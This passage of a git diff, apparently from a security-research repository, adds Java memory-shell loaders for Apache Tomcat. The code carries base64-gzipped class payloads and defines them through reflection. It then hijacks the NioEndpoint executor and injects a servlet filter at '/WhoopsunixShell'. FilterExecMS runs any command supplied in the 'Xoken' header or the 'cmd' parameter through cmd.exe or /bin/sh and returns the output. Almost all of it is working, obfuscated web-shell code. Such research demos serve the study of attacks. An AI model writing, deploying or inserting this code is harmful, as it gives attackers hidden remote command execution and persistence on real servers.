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"; + private static Object object = null; + private static String CLASSNAME = null; + + public ExecutorThreadLoader() { + } + + static { + try { + getObject(); + + // 获取 + Object nioEndpoint = getTargetObject("org.apache.tomcat.util.net.NioEndpoint"); + + if (!isInject(nioEndpoint)) { + inject(nioEndpoint); + } + + } catch (Throwable e) { + + } + } + + public static boolean isInject(Object nioEndpoint) throws Exception { + Object threadPoolExecutor = getFieldValue(nioEndpoint, "executor"); + if (threadPoolExecutor instanceof Proxy) { + Object h = getFieldValue(threadPoolExecutor, "h"); + if (h.getClass().getName().equalsIgnoreCase(CLASSNAME)) { + return true; + } + } + + // ms + Object var1 = invokeMethod(threadPoolExecutor, "getCorePoolSize", new Class[]{}, new Object[]{}); + Object var2 = invokeMethod(threadPoolExecutor, "getMaximumPoolSize", new Class[]{}, new Object[]{}); + Object var3 = invokeMethod(threadPoolExecutor, "getKeepAliveTime", new Class[]{TimeUnit.class}, new Object[]{TimeUnit.MILLISECONDS}); + Object var4 = TimeUnit.MILLISECONDS; + Object var5 = invokeMethod(threadPoolExecutor, "getQueue", new Class[]{}, new Object[]{}); + + Class ThreadPoolExecutorClass = Class.forName("org.apache.tomcat.util.threads.ThreadPoolExecutor"); + Object executor = ThreadPoolExecutorClass.getConstructor(Integer.TYPE, Integer.TYPE, Long.TYPE, TimeUnit.class, BlockingQueue.class).newInstance(var1, var2, var3, var4, var5); + + byte[] bytes = decompress(gzipObject); + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defineClass.setAccessible(true); + Class clazz = null; + try { + clazz = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + } catch (Exception e) { + clazz = classLoader.loadClass(CLASSNAME); + } + Constructor constructor = clazz.getDeclaredConstructor(Object.class); + constructor.setAccessible(true); + Object javaObject = constructor.newInstance(executor); + + object = Proxy.newProxyInstance(ExecutorThreadLoader.class.getClassLoader(), new Class[]{Executor.class}, (InvocationHandler) javaObject); + + return false; + } + + public static void inject(Object nioEndpoint) throws Exception { + if (object == null) + return; + + nioEndpoint.getClass().getSuperclass().getSuperclass().getMethod("setExecutor", Executor.class).invoke(nioEndpoint, object); + } + + public static void getObject() throws Exception { + byte[] bytes = decompress(gzipObject); + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defMethod.setAccessible(true); + Class cls = (Class) defMethod.invoke(urlClassLoader, bytes, 0, bytes.length); + CLASSNAME = cls.getName(); + } + + public static byte[] decompress(String gzipObject) throws IOException { + final byte[] compressedData = new sun.misc.BASE64Decoder().decodeBuffer(gzipObject); + ByteArrayInputStream bais = new ByteArrayInputStream(compressedData); + try { + GZIPInputStream gzipInputStream = new GZIPInputStream(bais); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[1024]; + int len; + while ((len = gzipInputStream.read(buffer)) > 0) { + baos.write(buffer, 0, len); + } + return baos.toByteArray(); + } catch (Exception e) { + + } + return null; + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + Object object = method.invoke(obj, args); + return object; + } + + public static Object getTargetObject(String className) throws Exception { + List activeClassLoaders = new ExecutorThreadLoader().getActiveClassLoaders(); + + Class cls = getTargetClass(className, activeClassLoaders); + + // 死亡区域 已检查过的类 + HashSet breakObject = new HashSet(); + breakObject.add(System.identityHashCode(breakObject)); + + // 原始类型和包装类都不递归 + HashSet breakType = new HashSet(Arrays.asList(int.class.getName(), short.class.getName(), long.class.getName(), double.class.getName(), byte.class.getName(), float.class.getName(), char.class.getName(), boolean.class.getName(), Integer.class.getName(), Short.class.getName(), Long.class.getName(), Double.class.getName(), Byte.class.getName(), Float.class.getName(), Character.class.getName(), Boolean.class.getName(), String.class.getName())); + + Object result = getTargetObject(cls, Thread.currentThread(), breakObject, breakType, 30); + + return result; + } + + /** + * 遍历 ClassLoader 加载目标 Class + */ + public static Class getTargetClass(String className, List activeClassLoaders) { + for (ClassLoader activeClassLoader : activeClassLoaders) { + try { + return Class.forName(className, true, activeClassLoader); + } catch (Throwable e) { + + } + } + return null; + } + + /** + * 获取活跃线程 + */ + public List getActiveClassLoaders() throws Exception { + Set activeClassLoaders = new HashSet(); + + // 加载当前对象的加载器 + activeClassLoaders.add(this.getClass().getClassLoader()); + + // 当前线程的上下文类加载器 + activeClassLoaders.add(Thread.currentThread().getContextClassLoader()); + +// // 应用程序类加载器 +// ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader(); +// activeClassLoaders.add(systemClassLoader); +// +// // 扩展类加载器 +// activeClassLoaders.add(systemClassLoader.getParent()); + + // 获取线程组 + ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); + Thread[] threads = new Thread[threadGroup.activeCount()]; + int count = threadGroup.enumerate(threads, true); + for (int i = 0; i < count; i++) { + activeClassLoaders.add(threads[i].getContextClassLoader()); + } + + return new ArrayList(activeClassLoaders); + } + + /** + * 递归查找属性 + */ + public static Object getTargetObject(Class targetCls, Object object, HashSet breakObject, HashSet breakType, int maxDepth) { + // 最大递归深度 + maxDepth--; + if (maxDepth < 0) { + return null; + } + + if (object == null) { + return null; + } + + // 寻找到指定类返回 + if (targetCls.isInstance(object)) { + return object; + } + + // 获取内存地址,来标识唯一对象 + Integer hash = System.identityHashCode(object); + + if (breakObject.contains(hash)) { + return null; + } + breakObject.add(hash); + + // 获取对象所有 Field + Field[] fields = object.getClass().getDeclaredFields(); + ArrayList fieldsArray = new ArrayList(); + Class objClass = object.getClass(); + while (objClass != null) { + Field[] superFields = objClass.getDeclaredFields(); + fieldsArray.addAll(Arrays.asList(superFields)); + objClass = objClass.getSuperclass(); + } + fields = (Field[]) fieldsArray.toArray(new Field[0]); + + + for (Field field : fields) { + try { + Class type = field.getType(); + + if (breakType.contains(type.getName())) { + continue; + } + + // 获取 Field 值 + field.setAccessible(true); + Object value = field.get(object); + Object result = null; + + // 递归查找 + if (value instanceof Map) { + // Map 的 kv 都要遍历 + Map map = (Map) value; + for (Object o : map.entrySet()) { + Map.Entry entry = (Map.Entry) o; + result = getTargetObject(targetCls, entry.getKey(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + result = getTargetObject(targetCls, entry.getValue(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (value instanceof Iterable) { + // 集合的元素都要遍历 + Iterable iterable = (Iterable) value; + for (Object o : iterable) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (type.isArray()) { + // 数组的元素都要遍历 + Object[] array = (Object[]) value; + for (Object o : array) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else { + result = getTargetObject(targetCls, value, breakObject, breakType, maxDepth); + } + + if (result != null) { + return result; + } + } catch (Throwable e) { + + } + } + + return null; + } + +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/FilterExecMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/FilterExecMS.java new file mode 100644 index 0000000..deede88 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/FilterExecMS.java @@ -0,0 +1,93 @@ +package com.demo.memshell.loader; + + +import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; + +/** + * @author Whoopsunix + */ +public class FilterExecMS implements InvocationHandler { + private static String HEADER = "Xoken"; + private static String PARAM = "cmd"; + + public FilterExecMS() { + } + + public Object invoke(Object proxy, Method method, Object[] args) { + if (method.getName().equals("doFilter")) { + run(args[0], args[1], args[2]); + } + return null; + } + + public void run(Object servletRequest, Object servletResponse, Object filterChain) { + try { + Object header = invokeMethod(servletRequest, "getHeader", new Class[]{String.class}, new Object[]{HEADER}); + Object param = invokeMethod(servletRequest, "getParameter", new Class[]{String.class}, new Object[]{PARAM}); + String str = null; + if (header != null) { + str = (String) header; + } else if (param != null) { + str = (String) param; + } + String result = exec(str); + invokeMethod(servletResponse, "setStatus", new Class[]{Integer.TYPE}, new Object[]{new Integer(200)}); + Object writer = invokeMethod(servletResponse, "getWriter", new Class[]{}, new Object[]{}); + invokeMethod(writer, "println", new Class[]{String.class}, new Object[]{result}); + } catch (Exception e) { + + } + } + + public static String exec(String str) throws Exception { + String[] cmd; + if (System.getProperty("os.name").toLowerCase().contains("win")) { + cmd = new String[]{"cmd.exe", "/c", str}; + } else { + cmd = new String[]{"/bin/sh", "-c", str}; + } + InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + return exec_result(inputStream); + } + + public static String exec_result(InputStream inputStream) throws Exception { + byte[] bytes = new byte[1024]; + int len; + StringBuilder stringBuilder = new StringBuilder(); + while ((len = inputStream.read(bytes)) != -1) { + stringBuilder.append(new String(bytes, 0, len)); + } + return stringBuilder.toString(); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + return method.invoke(obj, args); + } +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/FilterThreadLoader.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/FilterThreadLoader.java new file mode 100644 index 0000000..0c1d68f --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/FilterThreadLoader.java @@ -0,0 +1,342 @@ +package com.demo.memshell.loader; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.*; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author Whoopsunix + *

+ * 5-10 全版本 + */ +public class FilterThreadLoader { + private static String gzipObject = "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"; + private static Object object = null; + + private static String NAME = "Whoopsunix"; + private static String PATTERN = "/WhoopsunixShell"; + + public FilterThreadLoader() { + } + + static { + try { + getObject(); + + // 获取 standardContext + Object standardContext = getTargetObject("org.apache.catalina.core.StandardContext"); + if (!isInject(standardContext)) { + inject(standardContext); + } + + } catch (Throwable e) { + + } + } + + public static boolean isInject(Object standardContext) { + try { + Object filterDef = invokeMethod(standardContext, "findFilterDef", new Class[]{String.class}, new Object[]{NAME}); + if (filterDef 